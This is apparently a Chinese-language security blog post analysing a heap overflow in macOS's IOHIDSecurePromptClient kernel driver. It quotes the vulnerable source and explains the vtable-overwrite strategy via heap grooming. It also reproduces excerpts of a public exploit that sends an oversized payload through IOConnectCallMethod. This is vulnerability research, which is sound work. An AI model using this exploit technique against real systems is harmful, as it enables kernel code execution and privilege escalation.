IOHIDSecurePromptClient::injectStringGated Heap Overflow

IOHIDSecurePromptClient::injectStringGated堆溢出漏洞

update – 漏洞发现者博客

前两周网上有披露一个IOHID中的堆溢出漏洞,并且有完整的攻击代码,这里做个简单的分析:D

漏洞出现在IOHIDSecurePromptClient的12号处理函数中:


IOExternalMethod *
IOHIDSecurePromptClient::getTargetAndMethodForIndex(IOService ** targetP, 
                                                    UInt32 index)
{
        ...
        // 12: kIOHIDSecurePromptClient_injectString
        { NULL, (IOMethod)&IOHIDSecurePromptClient::injectStringMethod, kIOUCStructIStructO, kIOUCVariableStructureSize, 0 },       
        ...
};

injectStringMethod -> injectStringGated 函数中将输入的参数拷贝到缓冲区时没有对长度做任何检查,从而会导致堆溢出:


IOReturn
IOHIDSecurePromptClient::injectStringGated(void * p1, void * p2, void * p3 __unused,void * p4 __unused)
{
    IOReturn result = kIOReturnBadArgument;
    IOHIDSecurePromptClient_RawKeystrokeData * dummyRawData = NULL;
    UTF32Char *string = (UTF32Char*)p1;
    intptr_t length = (intptr_t)p2 / sizeof(UTF32Char);
    vm_size_t dummyDataSize = length * sizeof(IOHIDSecurePromptClient_RawKeystrokeData);

    ...

    dummyRawData = (IOHIDSecurePromptClient_RawKeystrokeData*)IOMalloc(dummyDataSize);
    memset(dummyRawData, 0xff, dummyDataSize);

    // _reserved->rawKeystrokes是在IOServiceOpen的时候分配的堆内存,在这里拷贝的时候没有检查输入的length
    __InsertBytes(_reserved->rawKeystrokes, _reserved->insertionPoint, _reserved->stringLength, string, length,  sizeof(UTF32Char));
    __InsertBytes(_reserved->unicode, _reserved->insertionPoint, _reserved->stringLength, dummyRawData, length,  sizeof(UTF32Char));
    __EraseMemory(string, length * sizeof(UTF32Char));
    _reserved->insertionPoint += length;
    result = kIOReturnSuccess;

    ...
}

_reserved->rawKeystrokes的初始化在 initWithTask -> ensureBufferSize 函数中:

bool
IOHIDSecurePromptClient::initWithTask(task_t owningTask, 
                                      void* security_id,
                                      UInt32 type,
                                      OSDictionary * properties)
{
    ...

    // initially we allow for a 32 character password but will grow it if needed
    require_noerr(ensureBufferSize(32), init_error);

    ...
}

IOReturn
IOHIDSecurePromptClient::ensureBufferSize(UInt32 size)
{
    ...    

    // newSize = size = 32
    // round size up to next power of two
    newSize--;
    newSize |= newSize >> 1;
    newSize |= newSize >> 2;
    newSize |= newSize >> 4;
    newSize |= newSize >> 8;
    newSize |= newSize >> 16;
    newSize++;    

    result = kIOReturnNoMemory;
    require(newSize < 1024, finished);

    newBufferSize = newSize * (sizeof(UTF32Char) + sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    // newBufferSize = 32*12 = 384 分配的堆在kalloc.512的zone里
    newBuffer = (UInt8*)IOMalloc(newBufferSize);
    require(newBuffer, finished);
    newKeystrokeOffset = newBuffer + newSize * sizeof(UTF32Char);
    memcpy(newBuffer, _reserved->unicode, _reserved->stringLength * sizeof(UTF32Char));
    memcpy(newKeystrokeOffset, _reserved->rawKeystrokes, _reserved->stringLength * sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    oldBuffer = (UInt8*)_reserved->unicode;
    oldBufferSize = _reserved->bufferLength * (sizeof(UTF32Char) + sizeof(IOHIDSecurePromptClient_RawKeystrokeData));
    _reserved->unicode = (UTF32Char*)newBuffer;
    // _reserved->rawKeystrokes 被设置为 newBuffer+32*4 的位置
    _reserved->rawKeystrokes = (IOHIDSecurePromptClient_RawKeystrokeData*)newKeystrokeOffset;
    _reserved->bufferLength = newSize;
    newBuffer = NULL;
    result = kIOReturnSuccess;

    ...
}

攻击代码中的利用思路:通过heap风水使newBuffer正好分配在一个IOUserClient对象(同样在kalloc.521)的前面,那么通过调用injectStringGated溢出8字节就可以修改之后对象的vtable,从而获取代码执行的可能。注意传入的参数对象长度是 512-32*4+size_to_overwrite(demo代码中为8字节vtable地址) = 384+8

int main(int argc, const char * argv[]) {
    ...

    uint64_t payload[1];
    void** vtable = alloc((void*)0x1337100000, 0x1000);
    payload[0] = (uint64_t)vtable;

    if (!lsym_heap_overflow((void*)payload, sizeof(payload)))
    {
        printf("[-] Heap overflow unsuccessful.n");
    }

    ...
}

char lsym_heap_overflow(char* data, size_t size) {
    ...

    size += 384;

    char* payload = malloc(size);

    memcpy(payload + 384, data, size - 384);

    if (size >= lsym_heap_overflow_bufsize()) {
        return 0;
    }

    err = IOConnectCallMethod(conn, 10, NULL, 0, payload,  size, NULL, 0, NULL, 0); // heap overflow >= 10.10.1

    if (err != KERN_SUCCESS)
        err = IOConnectCallMethod(conn, 12, NULL, 0, payload,  size, NULL, 0, NULL, 0); // heap overflow <= 10.10.1

    if (err != KERN_SUCCESS) return 0;

    return 1;
}

Leave a Reply

Your email address will not be published. Required fields are marked *